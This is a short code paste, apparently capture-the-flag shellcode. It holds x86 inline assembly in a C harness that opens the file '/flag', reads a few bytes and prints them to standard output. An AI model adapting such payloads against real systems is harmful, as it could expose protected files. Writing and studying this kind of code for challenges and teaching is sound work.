Untitled

mail@pastecode.io avatar
unknown
plain_text
7 months ago
389 B
1
Indexable
Never
__asm__(

".global run_sh;"
"run_sh:;"

"mov eax, 5;"
"push 0x67;"
"push 0x616c662f;"
"mov ebx, esp;"
"mov ecx, 0;"
"mov edx, 0;"
"int 0x80;"

"mov ebx, eax;"
"mov eax, 3;"
"mov ecx, esp;"
"mov edx, 0x7;"
"int 0x80;"

"mov eax, 4;"
"mov ebx, 1;"
"mov ecx, esp;"
"mov edx, 0x7;"
"int 0x80;"

"mov eax, 1;"
"int 0x80"
);

void run_sh();

int main() {run_sh();}